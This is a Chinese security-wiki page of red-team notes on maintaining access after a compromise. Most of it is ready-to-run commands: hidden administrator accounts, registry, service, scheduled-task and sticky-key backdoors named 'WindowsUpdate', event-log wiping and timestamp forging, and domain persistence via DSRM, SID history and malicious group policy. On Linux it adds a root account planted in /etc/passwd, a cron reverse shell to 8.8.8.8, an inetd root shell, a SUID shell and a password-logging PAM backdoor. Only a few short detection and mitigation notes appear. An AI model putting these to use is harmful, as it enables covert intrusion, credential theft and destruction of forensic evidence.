网安
  • Develop
    • JAVA学习
      • 字节码
      • API开发
      • Web开发
      • 工程结构推荐
      • 创建第一个项目
      • 权限管控
      • 配置文件
      • 日志管理
      • 数据访问
      • 性能监控
      • IoC容器
      • Spring
      • Filter与Listener
      • jsp
      • MVC
      • servlet-1
      • servlet-2
      • servlet-3
      • servlet-4
      • FreeMarker
      • Thymeleaf
      • EL
      • SpEL
      • JSTL
      • 部署
      • JDBC
      • 数据库连接池
      • fastjson
      • jackson
      • XML
      • JSON
      • 序列化
      • Maven
      • 安装与使用
      • 工具
      • 爬虫
    • GO学习
      • GO
        • flag 包
        • goland 远程调试
        • GoReleaser
        • OS 包
        • time 包
        • 格式化输出
    • Lua学习
      • Lua
      • 基础语法
      • LuaJIT
      • 与系统交互
    • Pyhon
      • 基础
      • Django
      • CLI
      • miniforge
      • MockingBird
      • pdb
      • pyc
      • 装的我脑血栓要犯了
      • Python101
      • 反序列化
      • 爬虫
      • Pillow
      • 图像识别
      • flask
    • Speed-Ruby
      • 入门1
      • 入门2 对象
      • 入门3 创建命令
      • Encoding类
      • File类与Dir类
      • IO
      • Proc类
      • Time类与Date类
      • 正则
      • 错误处理与异常
      • 对象、变量和常量
      • 方法
      • 数值
      • 数组
      • 条件判断
      • 循环
      • 运算符
      • Socket编程
      • 字符串
      • 并发与线程
      • 块
      • 类和模块
      • 散列
    • Web
      • HTTP
        • Connection
        • HTTP 报文
        • Vary
      • 笔记
        • 跳转
        • 认证 & 授权
        • 同源策略(SOP)
        • 文件
    • Git 学习笔记
    • JSON
      • JSON 学习笔记
    • HTML
      • Speed-HTML
      • 语法学习
      • HTML字符实体
    • XML
      • XML 学习笔记
    • 计算机基础
      • 操作系统
      • 计算机组成
      • 算法
      • 内存
      • 字符编码
    • gnuplot 学习笔记
    • regex
  • Integrated
    • Linux
      • God-Linux
      • Secure-Linux
      • Power-Linux
      • IO模型
      • Speed-Linux
      • 发行版
      • 工具
      • 启动过程
      • 进程
      • 认证
      • 日志
      • 守护进程
      • 文件
      • 信息
      • VSFTP 配置案例
      • auditd
      • containerd
      • DNS 配置案例
      • Docker
      • Docker-Compose
      • firewalld 实验
      • gpg
      • Iptables
      • httpd
      • LAMP
      • mysql
      • nfs 配置案例
      • openssl
      • PAM
      • samba 配置案例
      • terraform
      • ufw
      • VSFTP 配置案例
    • Network
      • Speed-Net
      • Power-Net
      • SDN 笔记
      • DNS
      • TLS
    • Windows
      • Secure-Win
      • Speed-Win
      • ACL
      • LDAP
      • IPC$(Internet Process Connection)
      • PDB符号文件
      • 工作组
      • WinRM
      • 角色权限
      • 凭据
      • 签名
      • 日志
      • 认证
      • 协议
      • 信息
      • 应用
      • 组策略
      • 域
      • asp站点搭建
      • Exchange 搭建
      • Windows 故障转移集群
      • Windows 基础服务搭建
      • Windows 域搭建
      • 本地抓包
      • PowerShell 笔记
    • 容器
      • Docker
    • 数据库
      • Speed-SQL
      • Power-SQL
      • MSSQL
      • MySQL
      • Postgresql
      • Redis
      • MySQL大小写问题
      • 主键和外键
      • MySQL快速入门
      • 虚拟化
        • ESXi
        • vCenter
  • Plan
    • Mac-Plan
    • Misc-Plan
    • Team-Plan
    • Thinking-Plan
    • VM-Plan
  • Sercurity
    • Power-PenTest
    • BlueTeam
      • 安全建设
      • 分析
      • 加固
      • 取证
      • 应急
      • USB取证
      • 磁盘取证
      • 内存取证
      • ClamAV 部署
      • yara 实验
      • 安防设施搭建使用
      • ZIP明文攻击
      • 流量分析
    • Crypto
      • Crypto
        • 2020 9 G60攻防大赛
        • CTF
        • 2020 9 中能融合杯工控CTF
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • CTF
      • CTF
      • writeup
        • 2020 9 中能融合杯工控CTF
        • 2020 9 G60攻防大赛
        • 2020 10 全国工业互联网安全技术技能大赛江苏省选拔赛
        • 2020 10 全国网络与信息安全管理职业技能大赛江苏场
        • 2020 11 I²S峰会暨工业互联网安全大赛
        • 2021 6 第二届I²S峰会暨工业互联网安全大赛
        • 2021-9-第七届工控信息安全攻防竞赛
        • 2021 9 第七届全国职工职业技能大赛某市县选拔赛
        • 2021 9 全国网络与信息安全管理职业技能大赛江苏场
        • 2021-10-G60攻防大赛
    • ICS
      • PLC攻击
      • S7comm 相关
      • 工控协议
      • 上位机安全
      • Modbus 仿真环境搭建
      • siemens 仿真搭建实验
      • S7-300 启停实验
    • IOT
      • 无线电安全
        • RFID复制卡
        • RFID基础知识
        • WiFikiller
      • 硬件安全
        • DIY键盘嵌入指纹识别模块实验记录
        • Device-Exploits
        • HID-Digispark
        • HID-KeyboardLogger
        • HID-USBHarpoon
        • HID-USBKeyLogger
      • 固件安全
        • 固件安全
        • Dlink_DWR-932B 路由器固件分析
    • Mobile sec
      • 小程序安全
      • Android安全
    • PWN
      • SLMail溢出案例
      • PWN
    • Red Team
      • OS安全
        • Linux 安全
        • Exploits
        • NTLM中继
        • Windows 安全
        • Responder欺骗
        • Windows-LOL
      • Web_Generic
        • Top 10
          • RCE
          • Fileread
          • SQLi
          • SSRF
          • SSTI
          • Web Generic
          • XSS
          • XXE
      • Web_Tricks
        • JWT 安全
        • HTTP_request_smuggling
        • OOB
        • 绕过访问
      • 靶场
        • Hello-Java-Sec 学习
        • DVWA-WalkThrough
        • pikachu-WalkThrough
        • upload-labs-WalkThrough
        • XVWA-WalkThrough
        • XSS挑战-WalkThrough
      • 实验
        • flask
        • fastjson
        • Log4j
        • nodejs
        • Shiro
        • Spring
        • Weblogic
      • 前端攻防
      • IDOR
    • 安防设备
      • Exploits
      • Bypass 技巧
    • 后渗透
      • 权限提升
      • 后渗透
      • 权限维持
      • 实验
        • C2 实验
        • Exchange
        • 端口转发实验
        • 代理实验
        • 免杀实验
        • 隧道实验
    • 软件服务安全
      • Exploits
      • CS Exploits
      • 实验
        • Docker
        • Kubernetes
        • Mysql
        • Oracle
        • PostgreSQL
        • Redis
        • vCenter
    • 协议安全
      • Exploits
    • 信息收集
      • 端口安全
      • 空间测绘
      • 信息收集
    • 语言安全
      • 语言安全
        • 语言安全
      • GO安全
        • GO安全
        • Go代码审计
      • JAVA安全
        • JAVA安全
        • JAVA代码审计
        • JAVA反序列化
        • SpEL 注入
      • PHP安全
        • PHP安全
        • bypass_disable_function
        • bypass_open_basedir
        • phpinfo
        • PHP代码审计
        • PHP反序列化
        • PHP回调函数
        • 变量覆盖
        • POP
        • 弱类型
        • 伪协议
        • 无字母数字Webshell
      • Python安全
        • pyc反编译
        • Python安全
        • Python 代码审计
        • 沙箱逃逸
      • dotnet安全
      • JS安全
    • 云安全
      • 公有云安全
    • Reverse
      • Reverse
      • FILE
        • ELF
        • BMP
        • JPG
        • PE
        • PNG
        • ZIP
        • 文件头
      • 实验
        • PYAble
          • 2-逆运算
          • 1-基本分析
          • 3-异或
          • 4-Base64
          • 5-Base64换表
          • 6-动态调试
        • Windows
          • condrv.sys 内存损坏漏洞
    • 工具
      • Aircrack
      • BloodHound
      • Burp Suite
      • frp
      • CobaltStrike
      • Ghidra
      • fscan
      • Hashcat
      • IDA
      • merlin
      • Kali
      • Metasploit
      • Mimikatz
      • ModSecurity
      • Nmap
      • nps
      • nuclei
      • pupy
      • RedGuard
      • SET
      • sliver
      • Snort
      • Sqlmap
      • Suricata
      • Sysmon
      • uncover
      • Volatility
      • Wfuzz
      • Wireshark
      • xray
    • 安全资源
      • 靶机
        • VulnHub
          • DC
            • DC2 WalkThrough
            • DC1 WalkThrough
            • DC3 WalkThrough
            • DC4 WalkThrough
            • DC5 WalkThrough
            • DC6 WalkThrough
            • DC9 WalkThrough
            • DC8 WalkThrough
          • It's_October
            • It’s_October1 WalkThrough
          • Kioptrix
            • Kioptrix2 WalkThrough
            • Kioptrix3 WalkThrough
            • Kioptrix4 WalkThrough
            • Kioptrix5 WalkThrough
          • Mission-Pumpkin
            • PumpkinGarden-WalkThrough
            • PumpkinFestival WalkThrough
            • PumpkinRaising WalkThrough
          • Symfonos
            • symfonos1 WalkThrough
            • symfonos2 WalkThrough
            • symfonos3 WalkThrough
            • symfonos5 WalkThrough
        • Wargames
          • Bandit
            • Bandit-WalkThrough
      • 面试问题
        • 面试问题
Powered by GitBook
On this page
  • 免责声明
  • 大纲
  • web
  • webshell
  • 中间件
  • win
  • 后门用户
  • 权限维持技巧
  • 痕迹清理
  • 域
  • linux
  • 启动项
  • 命令后台运行
  • 权限维持技巧
  • 隐藏后门进程
  • 痕迹清理
  • C2-RAT
  • Framework
  • Payload Generation
  • Loader
  • 进程注入
  • Platform
  • 工具开发
  • 对抗
  1. Sercurity
  2. 后渗透

权限维持


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲

  • web

    • webshell

      • webshell 管理工具

      • webshell 爆破

      • 无字母数字 webshell

      • 无文件 webshell

    • 中间件

  • win

    • 后门用户

    • MSF权限维持

    • 权限维持技巧

    • 痕迹清理

    • 域

      • DSRM 密码同步

      • SID 历史

      • AdminSDHolder & SDProp

      • 组策略

      • Hook PasswordChangeNotify

  • linux

    • 启动项

    • 命令后台运行

    • 权限维持技巧

    • 隐藏后门进程

    • 痕迹清理

  • C2-RAT

    • Framework

      • msfvenom

      • msfencode

    • Payload Generation

    • Loader

    • 进程注入

    • Platform

      • C2用途

      • 文件分发

      • Serverless

    • 工具开发

    • 对抗

      • DLL 劫持

      • 签名

      • 免杀

      • 虚拟化检测


web

webshell

杂项

php相关资源

java相关资源

  • java -jar JSPHorse.jar -p your_password
    
    1.jsp?pwd=your_password&cmd=calc.exe

dotnet相关资源

webshell 管理工具

  • 蚁剑

    • 相关资源

    • 相关文章

  • Behinder

  • Godzilla

  • python2 SharPyShell.py generate -p somepassword
    python2 SharPyShell.py interact -u http://target.url/sharpyshell.aspx -p somepassword

webshell 爆破

无字母数字 webshell

  • 无字母数字 webshell

无文件 webshell

相关文章

相关资源


中间件

httpd

  • 相关工具

nginx

  • 相关工具

iis

  • 相关工具


win

后门用户

相关文章

相关项目/工具

  • CloneX.exe test 123456  # 新建用户
        CloneX.exe *test 123456  # powerful mode
    CloneX.exe test test1   # 克隆存在的用户
    # 需要 SYSTEM 权限
    # 默认打包的 exe 依赖于 .net4.0 注意
    .\Suborner.exe /username:test$ /password:Password.1

$ 符号

net user test$ 1234abcd~ /add                 # 添加用户
# Windows 的帐号名称后带着"$"符号时,不会在 net user 命令中显示出帐号信息
# 但是,在“计算机管理”——>“本地用户和组”——>“用户”中可以看到新创建的 “test$”。

net localgroup administrators test$ /add      # 将用户添加到管理组

net user test$ /del                           # 删除用户
query user                                      # 查看会话
logoff <ID号>                                   # 踢掉

改注册表

新建 test$ 用户,不需要加入到管理员组

net user test$ 1234abcd~ /add

打开注册表 regedit,给予 administrator 完全控制和读取注册表 SAM 键的权限

修改 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users

将 test$ 、和 test$、administrator 对应注册表导出

将隐藏账号的 F 键的值替换成 adminstrator 的 F 键的值

删除之前创建的隐藏账号:

net user test$ /del

双击执行修改的注册表文件,和导出的 test$

此时 test$ 用户已经加入注册表中,但是在本地用户和组中找不到

net user test$

如果要删除,必须要去注册表删账号相应的键值


权限维持技巧

相关文章

注册表后门

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

原理就是在注册表的启动项下,新建一个键值对,键可变,值为后门程序的路径

  1. 上传后门程序

  2. 隐藏文件

    attrib "C:\Windows\Temp\payload.exe" +h +s
  3. 通过注册表加入启动项

    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

    /v 后面为键的名称,/t 为键的类型,/d 为该键具体的值,/f 意为强制覆盖现有项

  • 清除后门

    reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f

    删除注册表下对应的键值

    del C:\Windows\Temp\payload.exe

    清除后门程序

userinit 注册表后门

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

原理就是用户在登录时,winlogon 会自动运行其中指定的程序

  • 直接写入注册表

    reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,<powershell代码>" /f

或者

  • 使用 powershell

    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,<powershell代码>"

Logon Scripts 后门

HKCU\Environment
  1. 上传后门程序

    将 powershell 的一句话执行程序直接放入 bat 脚本中

  2. 隐藏后门程序

    attrib "C:\Windows\Temp\payload.bat" +h +s
  3. 写入注册表

    reg add HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\Temp\payload.bat" /f
  • 清除后门

    reg delete HKCU\Environment /v UserInitMprLogonScript
    del C:\Windows\Temp\payload.bat

映像劫持

  • https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/

需要部署后门程序,但是不易被发现

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v MonitorProcess /d "C:\Users\Administrator\Desktop\payload.exe"

RunOnceEx 后门

  • https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/

需要重启和管理员权限

生成恶意 DLL 文件,并部署

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\Windows\Temp\evil.dll"

自启目录后门

开机自启后门

  1. 上传后门程序

  2. 部署后门程序

    copy "C:\Windows\Temp\payload.exe" "C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y

    删除多余后门副本

    del C:\Windows\Temp\payload.exe
  3. 隐藏后门程序

    attrib "C:\Users\lamba\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +h +s

服务启动后门

开机自启服务并启动后门

  1. 上传后门程序

  2. 创建 Windows 服务

    sc create "WindowsUpdate" binpath= "cmd /c start C:\Windows\Temp\payload.exe"
    sc config "WindowsUpdate" start= auto
  3. 启动服务

    net start WindowsUpdate
  • 停止服务,删除服务

    net stop WindowsUpdate
    sc delete "WindowsUpdate"

计划任务后门

通过计划任务周期执行后门程序

  1. 上传后门程序

  2. 创建计划任务

    schtasks /create /tn WindowsUpdate /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 1
  3. 隐藏后门程序

    attrib "C:\Windows\Temp\payload.exe" +h +s
  • 删除计划任务

    schtasks /delete /tn WindowsUpdate

shift 后门

在 windows 登录界面处,连续按5次 shift 来启动粘滞键,启动 sethc 程序

  1. 拷贝文件

    copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
    copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
  2. 隐藏文件

    attrib C:\Windows\System32\sethc.exe +h +s
    attrib C:\Windows\System32\dllcache\sethc.exe +h +s

LGP 后门

开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性

WinRM + IIS URI 监听

在 IIS 监听 80 端口的情况下,可以通过设置 WinRM 监听端口为 80,再设置监听 URI 的方式来复用 80 端口。以此作为隐蔽的后门。

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{URLPrefix="test"}

利用 AutodialDLL 进行权限维持

  • https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/


痕迹清理

清除 powershell 历史记录

powershell Remove-Item (Get-PSReadlineOption).HistorySavePath

清除 cmd 历史记录

doskey /reinstall

修改文件时间戳

Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item $path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\test.txt")

删除日志

Windwos 操作系统默认没有提供删除特定日志记录的功能,仅提供了删除所有日志的操作功能。也就意味着日志记录 ID(Event Record ID)应该是连续的,默认的排序方式应该是从大到小往下排列。

  • 粗暴删除

    net stop eventlog    # 停止服务
    del c:\Windows\System32\Winevt\Logs\* /Q
    # 在 meterpreter 会话中
    clearev

    同样简单粗暴的删除方法

    wevtutil cl "Windows PowerShell"
    wevtutil cl application
    wevtutil cl security
    wevtutil cl setup
    wevtutil cl system
  • 单条删除

    • 相关文章

    • 相关工具

    Windows 系统在解析事件记录日志时,按照 Event Record 的大小逐条读取日志的内容。假设修改某条日志的长度,使长度覆盖下一条日志,理论上 Windows 系统解析日志时,就会跳过下一条日志,相当于下一条日志被”删除”。 DanderSpritz 中的 eventlogedit 就是这个思路,仅仅时修改了程度,实际上并没有删除日志内容。

3389 痕迹清除脚本

echo off
color 0A
title 3389连接痕迹清除
mode con cols=88 lines=20
set /p fk= 确定要清空3389连接痕迹吗?(y/n)
if /i "%fk%"=="y" goto y
if /i "%fk%"=="n" goto n
call %0

:y
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client" /f
del /a /f /q %HOMEPATH%\Documents\Default.rdp
echo 命令执行成功,请手动查看是否清除.
pause >nul

:n
exit

sysmon 日志劫持


域

相关文章

DSRM 密码同步

相关文章

获取到域控权限后利用 DSRM 密码同步将域管权限持久化。

ntdsutil
set DSRM password
SYNC FROM DOMAIN ACCOUNT krbtgt
Q

修改注册表允许 DSRM 账户远程访问

修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的 DSRMAdminLogonBehavior 的值为2。

系统默认不存在 DSRMAdminLogonBehavior,需手动添加。

此时可用 pth 登录

Mimikatz "privilege::debug" "sekurlsa::pth /domain:<域> /user:Administrator /ntlm:<hash>" exit

由于可以为 DSRM 帐户 PTH,因此可以使用 Mimikatz DCSync 利用此访问权限为任何域帐户提取密码数据。我们可以针对特定的域控制器,并使用 DC 的简称来强制执行 NTLM 身份验证。

Mimikatz "lsadump :: dcsync /domain:lab.adsecurity.org / dc:adsdc03 / user:krbtgt"

DSRM 账户是域控的本地管理员账户,并非域的管理员帐户。所以 DSRM 密码同步之后并不会影响域的管理员帐户。

事件查看器的安全事件中筛选事件 ID 为 4794 的事件日志,来判断域管是否经常进行 DSRM 密码同步操作。

缓解措施

  • 确保每一台域控制器的 DSRM 账户密码是唯一的并且定期修改此密码。同时,确保注册表 DsrmAdminLogonBehavior 的值不为 2,最好将其直接删除或者设置其值为 1 或 0。

SID 历史

相关文章

描述

SID 历史记录是支持迁移方案的属性。每个用户帐户都有一个关联的安全标识符(SID),用于跟踪安全主体以及该帐户在连接到资源时所具有的访问权限。SID 历史记录使对另一个帐户的访问可以有效地克隆到另一个帐户。这对于确保用户从一个域移动(迁移)到另一个域时保留访问权限非常有用。由于在创建新帐户时用户的 SID 会更改,因此旧 SID 需要映射到新帐户。将域 A 中的用户迁移到域 B 时,将在域 B 中创建一个新的用户帐户,并将域 A 用户的 SID 添加到域 B 用户帐户的 SID 历史记录属性中。这样可以确保域 B 用户仍然可以访问域 A中的资源。

有趣的是,SID 历史记录对同一域中的 SID 的作用和对同一林中的跨域的 SID 的作用一样,这意味着域 A 中的常规用户帐户可以包含域 A SID,如果域 A 的 SID 是特权账户或组,那么普通用户账户可以获得域 A 的管理权限,而不需要是域 Admins 的成员。

注意:域中的普通用户可以在其 SID 历史记录中包含来自 Active Directory 目录林中的另一个域的 Enterprise Admin SID,从而将用户帐户的访问权限“提升”到目录林中所有域中的有效域管理员。

如果你具有一个没有启用 SID 筛选的林信任关系(也称为隔离),则可以从另一个林中注入一个 SID,并且在进行身份验证并将其用于访问评估时,它将被添加到用户令牌中。

Mimikatz 可以向任何用户账户注入 SID 历史记录(需要域管理员或同等权限)。

在这种情况下,攻击者创建用户帐户“ bobafett”,并将域的默认管理员帐户“ ADSAdministrator”(RID 500)添加到帐户的 SID 历史记录属性。

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"

注 : mimikatz 在 2016年5月6日移除了 misc::addsid,新增 sid:: module,可使用 sid::add 代替

当 bobafett 账户登录时,所有与该账户相关联的 SIDs 都会被添加到用户的令牌中,用户的令牌用于确定资源的访问权限。与账户关联的 SID 是用户的 SID、用户所在的组 SID(包括这些组的成员)以及 SID 历史记录中包含的 SID。

使用 PowerShell Active Directory cmdlet "Get-ADUser",我们可以看到没有分配给 bobafett 账户的组成员资格,尽管它在 SIDHistory(ADSAdministrator账户)中确实有一个 SID

Import-Module ActiveDirectory
get-aduser bobafett -properties sidhistory,memberof

当 bobafett 登录时,会评估与该账户相关的 SID,并根据这些 SID 确定访问权限。由于 bobafett 帐户与 ADSAdmnistrator 帐户(RID 500)相关联,因此 bobafett 帐户拥有 ADSAdministrator 帐户的所有访问权限,包括域管理权限。

检测手段

检测 SID 历史记录账户升级的最好方法是枚举出所有在 SID 历史属性中拥有数据的用户,并标记出包含同一域*中的SID的用户。如果用户没有被迁移,可以简单地搜索所有在 SIDHistory 属性中包含数据的用户。

PowerShell AD Cmdlet "Get-ADUser "对于检测 "同域SID历史记录 "最有用。

Import-Module ActiveDirectory
[string]$DomainSID = ( (Get-ADDomain).DomainSID.Value )

Get-ADUser -Filter  "SIDHistory -Like '*'" -Properties SIDHistory | `
Where { $_.SIDHistory -Like "$DomainSID-*" }

注意,用户的 SIDHistory 中的 SID 以 "500 "结尾,该用户的 SID 是默认的域管理员账户,默认情况下是 Administrators、Domain Admins、Schema Admins 和 Enterprise Admins 的成员。

AdminSDHolder & SDProp

相关文章


组策略

相关文章

组策略概述

组策略使管理员能够管理 Active Directory 中的计算机和用户。组策略保存为组策略对象(GPO)

攻击者可以滥用 GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的,恶意软件可以利用 GPO 穿越 IDS/IPS 等防火墙,最终访问到域内所有的系统。

GPO 的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的 GPO 载荷就会被投递到目标系统。

组策略可以包括安全选项,注册表项,软件安装以及用于启动和关闭的脚本,并且域成员默认情况下每 90 分钟刷新一次组策略设置(对于域控制器为 5 分钟)。 这意味着组策略在目标计算机上强制执行配置的设置。

在大多数 Active Directory 实现中,在域上至少配置了一个 GPO,定义了授权密码、Kerberos 和全域策略;至少有一个为域控制器 OU 配置的 GPO;至少有一个为服务器和工作站 OU 配置的 GPO。这些 GPO 定义了特定于环境的安全设置,并通常配置管理组,包括启动/关闭脚本等。GPO 可以被配置为在每个级别上设置组织定义的安全要求,并可用于安装软件和设置文件和注册表权限。

GPO 仅适用于用户和计算机,并且可以按组进行过滤,或者可以使用“首选项”组件进行更具体的定位。 “No Override”选项可确保即使更接近资源的 GPO 设置相互矛盾,也可以应用组策略中的设置。

SYSVOL 是所有经过身份验证的用户具有读取权限的 Active Directory 中的域范围共享。SYSVOL 包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。

SYSVOL 共享将自动同步并在所有域控制器之间共享。

组策略也相当于远控,可以配置脚本让域内的每一台电脑都种上马批量执行一遍。

  • 计划任务案例

    修改密码

    changepass.vbs

    strComputer = "."
    Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
    objUser.SetPassword "Zaq1xsw2"
    objUser.SetInfo

    这个脚本的作用是修改本地管理员账户的密码为 Zaq1xsw2

    在域策略的 GPO 下面下发这个脚本

    在域内主机上面登录域普通用户,强制刷新组策略 gpupdate /force,查看 vbs 脚本


    按照时间定时的收集信息

    导入 powershell 中管理 GPO 的模块,创建一个作用整个域的 GPO

    Import-Module GroupPolicy -verbose
    new-gpo -name TestGPO | new-gplink -Target "dc=test1,dc=local"

    执行脚本添加计划任务

    New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\test1.local' -CommandArguments '-c "123 | Out-File C:\test\debug.txt"'

    强制更新组策略,或者默认等待90分钟组策略强制更新

    Invoke-GPUpdate -Computer "TEST\COMPUTER-01"

    清理痕迹

    Remove-GPO -Name TestGPO

Hook PasswordChangeNotify

相关文章


DCShadow

相关文章


linux

启动项

需要开机启动自己的脚本时,只需要将可执行脚本丢在 /etc/init.d 目录下,然后在 /etc/rc.d/rc*.d 中建立软链接即可

ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此处 sshd 是具体服务的脚本文件,S100ssh 是其软链接,S 开头代表加载时自启动;如果是 K 开头的脚本文件,代表运行级别加载时需要关闭的。


命令后台运行

当用户注销(logout)或者网络断开时,终端会收 HUP(hangup)信号从而关闭其所有子进程.因此,解决办法有两种途径:要么让进程忽略 HUP 信号,要么让进程运行在新的会话里从而成为不属于此终端的子进程.

  1. 使用 nohup 命令,让提交的命令忽略 hangup 信号.

nohup ping www.baidu.com &
  1. 使用 setsid 命令,让命令在不属于终端的子进程当中执行.

setsid ping www.baidu.com &
  1. 使用 disown 命令,让某个作业忽略 hangup 信号

disown -h %1
  1. 使用 screen 命令 建立断开模式的会话(原理和 setid 一样,只不过直接构造了一个环境)

screen -S <name>

权限维持技巧

Linux/Unix 修改文件时间戳

直接将时间戳修改成某年某月某日.如下 2014 年 01 月 02 日.

touch -t 1401021042.30 webshell.php

压缩包运行命令

touch ''$'\n''id;'
touch ''$'\n''ls -la;'
tar -cf runme.tar *
chmod +x runme.tar
./runme.tar

ssh + http 端口复用

避免记录登录日志

ssh -T user@host /bin/bash -i

藏文件和文件夹

  1. 比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行.(查看方法:ls -a)

    touch .webshell.php    创建名字为 .webshell.php 的文件
    mkdir .backdoor/       创建名字为 .backdoor 的文件夹
  2. dot files

    touch ...       创建名字为 ... 的文件
    mkdir ...       创建名字为 ... 的文件夹

stdin/stdout/stderr 监控


隐藏后门进程

相关工具

相关文章

添加 root 权限后门用户

我们的目标就是在这个文件中追加一条,一个带有密文且 id 为 0 的账号.

密码加密使用下面的命令 perl -e 'print crypt("password", "AA"). "\n"'

所以我们最终想要在 passwd 文件中的条目是这个样子 backdoor:AA6tQYSfGxd/A/A:0:0:me:/root:/bin/bash

执行写入 echo "backdoor:AA6tQYSfGxd/A:0:0:me:/root:/bin/bash">>/etc/passwd

Crond 开机自启后门

先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口.

vim /etc/xxxx
    #!/bin/bash
    if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null
    then
    echo "OK">/dev/null
    else
    /sbin/iptables --policy INPUT ACCEPT
    /sbin/iptables --policy OUTPUT ACCEPT
    bash -i >& /dev/tcp/8.8.8.8/53 0>&1
    fi

chmod +sx /etc/xxxx
vim /etc/crontab
    */1 * * * * root /etc/xxxx

service cron reload #不同发行版重启方式不一样
service cron start

然后在 8.8.8.8 的服务器上使用 NC 接收 Shell 即可.

nc -vv -lp 53

SUID shell

首先, 先切换成为 root 用户,并执行以下的命令:

dawg:~# cp /bin/bash /.woot
dawg:~# chmod 4755 /.woot
dawg:~# ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的. 文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上".",就可以在任意文件目录下进行隐藏) .

# 现在,做为一个普通用户,我们来启用这个后门:
id
    uid=1000(fw) gid=1000(fw) groups=1000(fw)
id
    uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
# 为什么不行呢? 因为 bash2 针对 suid 有一些护卫的措施. 但这也不是不可破的:
/.woot -p
id
    uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
# 使用 -p 参数来获取一个 root shell. 这个 euid 的意思是 effective user id
# 这里要特别注意的是,作为一个普通用户执行这个 SUID shell 时,一定要使用全路径.

如何查找那些具有 SUID 的文件: dawg:~# find / -perm +4000 -ls 这时就会返回具有 SUID 位的文件啦.

远程后门

vim /etc/inetd.conf
    #discard stream tcp nowait root internal
    #discard dgram udp wait root internal
    daytime stream tcp nowait root /bin/bash bash -i

inetd
然后就可以用 nc 连接

可以修改/etc/services文件,加入以下的东西

vim /etc/services
    woot 6666/tcp #evil backdoor service
vim /etc/inetd.conf
    woot stream tcp nowait root /bin/bash bash -i

PAM 后门

主要思路:pam_unix_auth.c 打补丁安装到正常的 PAM 模块中. 1、获取目标系统所使用的 PAM 版本: rpm -qa |grep pam 2、编译安装 PAM 3、将本地 pam_unix_auth.c 文件通过打补丁方式,编译生成. 4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,后门密码为 root123,并会在 /tmp/pslog 记录 root 登录密码.

vim 后门

